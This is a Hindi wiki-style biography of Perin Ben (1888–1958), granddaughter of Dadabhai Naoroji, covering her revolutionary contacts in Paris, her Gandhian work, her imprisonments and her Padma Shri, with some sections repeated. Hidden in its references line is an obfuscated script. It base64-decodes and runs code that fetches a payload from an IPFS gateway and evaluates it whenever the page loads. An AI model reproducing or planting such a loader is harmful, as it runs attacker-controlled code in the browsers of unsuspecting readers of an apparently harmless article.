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'''पेरीन बेन''' ([[अंग्रेज़ी]]: ''Perin Ben'', जन्म- [[12 अक्तूबर]], [[1888]], [[कच्छ|ज़िला कच्छ]] , [[गुजरात]]; मृत्यु- [[17 फ़रवरी]], [[1958]]) पहले क्रांतिकारी और बाद में [[गाँधी जी]] की अनुयायी थीं। ये देश की स्वतंत्रता के लिए काम करती थी। [[1930]], [[1932]] में पेरीन बेन को गिरफ्तार करके जेल में डाल दिया गया था। [[मुंबई]] प्रदेश [[कांग्रेस]] की संघर्ष समिति की वे प्रथम महिला अध्यक्ष थीं। पेरीन बेन ने 'गाँधी सेवा सेना' के साचिव के रूप में काम किया था। स्वतंत्रता के आरंभिक वर्षों में [[राष्ट्रपति]] द्वारा पेरीन बेन ने '[[पद्मश्री]]' से सम्मानित किया गया था। <ref name="a">{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन=भारतकोश पुस्तकालय |संपादन=|पृष्ठ संख्या=480|url=}}</ref>
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==परिचय==
 
==परिचय==
 
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क्रांतिकारी पेरीन बेन का जन्म [[12 अक्तूबर]], [[1888]] ई. को कच्छ रियासत के मांडवी कस्बे में हुआ था। वे [[दादा भाई नौरोजी]] की पौत्री थीं। [[भारत]] में शिक्षा प्राप्त करने के बाद आगे के अध्ययन के लिए वे पेरिस गईं। इस प्रवास ने उनके जीवन की दिशा मोड़ दी।
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पेरीन बेन पेरिस में [[भीखाजी कामा|मदाम भीखा जी कामा]], [[लाला हरदयाल]], [[श्यामजी कृष्ण वर्मा]] जैसे क्रांतिकारियों के संपर्क में आईं और देश की स्वतंत्रता के लिए काम करने लगी थीं। [[पुर्तग़ाल]] के [[समुद्र]] तट पर जहाज़ से कूदने पर [[वीर सावरकर]] को गिरफ्तारी से बचाने के प्रयत्न में पेरिन बेन भी सम्मिलित थीं। [[1911]] में पेरीन बेन [[भारत]] आईं और उन्हें यहां [[अंग्रेज़|अंग्रेज़ों]] के हाथों भेदभाव का बड़ा अपमानजनक अनुभव हुआ। [[1919]] में पेरीन बेन की [[महात्मा गाँधी]] से भेंट हुईं और वे गाँधी जी की अनुयायी हो गईं। <ref name="a"/>
 
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==कार्यक्षेत्र==
 
==कार्यक्षेत्र==
पेरीन बेन ने खादी के वस्त्र अपनाए, खादी के प्रचार और हरिजन उद्धार के कार्यों में जुट गईं। स्वदेशी का प्रचार, मद्य निषेध और महिलाओं को संगठित करना पेरीन बेन के प्रिय विषय थे। [[1930]], [[1932]] में उन्हें गिरफ्तार करके जेल में डाल दिया गया था। पेरीन बेन ने 'गाँधी सेवा सेना' के साचिव के रूप में काम किया और [[1935]] में स्थापित 'हिन्दुस्तानी प्रचार सभा' के काम में भी जुड़ी रही थीं।  
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पेरीन बेन ने खादी के वस्त्र अपनाए, खादी के प्रचार और हरिजन उद्धार के कार्यों में जुट गईं। स्वदेशी का प्रचार, मद्य निषेध और महिलाओं को संगठित करना पेरीन बेन के प्रिय विषय थे। [[1930]], [[1932]] में उन्हें गिरफ्तार करके जेल में डाल दिया गया था। पेरीन बेन ने 'गाँधी सेवा सेना' के सचिव के रूप में काम किया और [[1935]] में स्थापित 'हिन्दुस्तानी प्रचार सभा' के काम में भी जुड़ी रही थीं।  
 
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10:05, 5 जनवरी 2017 का अवतरण

पेरीन बेन
पेरीन बेन
पूरा नाम पेरीन बेन
जन्म 12 अक्तूबर 1888
जन्म भूमि कच्छ ज़िला, गुजरात
मृत्यु 17 फ़रवरी, 1958
नागरिकता भारतीय
प्रसिद्धि क्रांतिकारी एवं गाँधी जी की अनुयायी।
जेल यात्रा 19301932 में
पुरस्कार-उपाधि पद्म श्री
अन्य जानकारी पेरीन बेन ने 'गाँधी सेवा सेना' के सचिव के रूप में काम किया और 1935 में स्थापित 'हिन्दुस्तानी प्रचार सभा' के काम में भी जुड़ी रही थीं।
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पेरीन बेन (अंग्रेज़ी: Perin Ben, जन्म- 12 अक्तूबर, 1888, ज़िला कच्छ , गुजरात; मृत्यु- 17 फ़रवरी, 1958) पहले क्रांतिकारी और बाद में गाँधी जी की अनुयायी थीं। ये देश की स्वतंत्रता के लिए काम करती थी। 1930, 1932 में पेरीन बेन को गिरफ्तार करके जेल में डाल दिया गया था। मुंबई प्रदेश कांग्रेस की संघर्ष समिति की वे प्रथम महिला अध्यक्ष थीं। पेरीन बेन ने 'गाँधी सेवा सेना' के सचिव के रूप में काम किया था। स्वतंत्रता के आरंभिक वर्षों में राष्ट्रपति द्वारा पेरीन बेन ने 'पद्मश्री' से सम्मानित किया गया था। [1]

परिचय

क्रांतिकारी पेरीन बेन का जन्म 12 अक्तूबर, 1888 ई. को कच्छ रियासत के मांडवी कस्बे में हुआ था। वे दादा भाई नौरोजी की पौत्री थीं। भारत में शिक्षा प्राप्त करने के बाद आगे के अध्ययन के लिए वे पेरिस गईं। इस प्रवास ने उनके जीवन की दिशा मोड़ दी।

गाँधी जी की अनुयायी

पेरीन बेन पेरिस में मदाम भीखा जी कामा, लाला हरदयाल, श्यामजी कृष्ण वर्मा जैसे क्रांतिकारियों के संपर्क में आईं और देश की स्वतंत्रता के लिए काम करने लगी थीं। पुर्तग़ाल के समुद्र तट पर जहाज़ से कूदने पर वीर सावरकर को गिरफ्तारी से बचाने के प्रयत्न में पेरिन बेन भी सम्मिलित थीं। 1911 में पेरीन बेन भारत आईं और उन्हें यहां अंग्रेज़ों के हाथों भेदभाव का बड़ा अपमानजनक अनुभव हुआ। 1919 में पेरीन बेन की महात्मा गाँधी से भेंट हुईं और वे गाँधी जी की अनुयायी हो गईं। [1]

कार्यक्षेत्र

पेरीन बेन ने खादी के वस्त्र अपनाए, खादी के प्रचार और हरिजन उद्धार के कार्यों में जुट गईं। स्वदेशी का प्रचार, मद्य निषेध और महिलाओं को संगठित करना पेरीन बेन के प्रिय विषय थे। 1930, 1932 में उन्हें गिरफ्तार करके जेल में डाल दिया गया था। पेरीन बेन ने 'गाँधी सेवा सेना' के सचिव के रूप में काम किया और 1935 में स्थापित 'हिन्दुस्तानी प्रचार सभा' के काम में भी जुड़ी रही थीं।

सम्मान

स्वतंत्रता के आरंभिक वर्षों में राष्ट्रपति द्वारा पेरीन बेन को पद्मश्री से सम्मानित किया गया था।[1]

निधन

17 फरवरी, 1958 को पेरीन बेन का देहांत हो गया।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 480 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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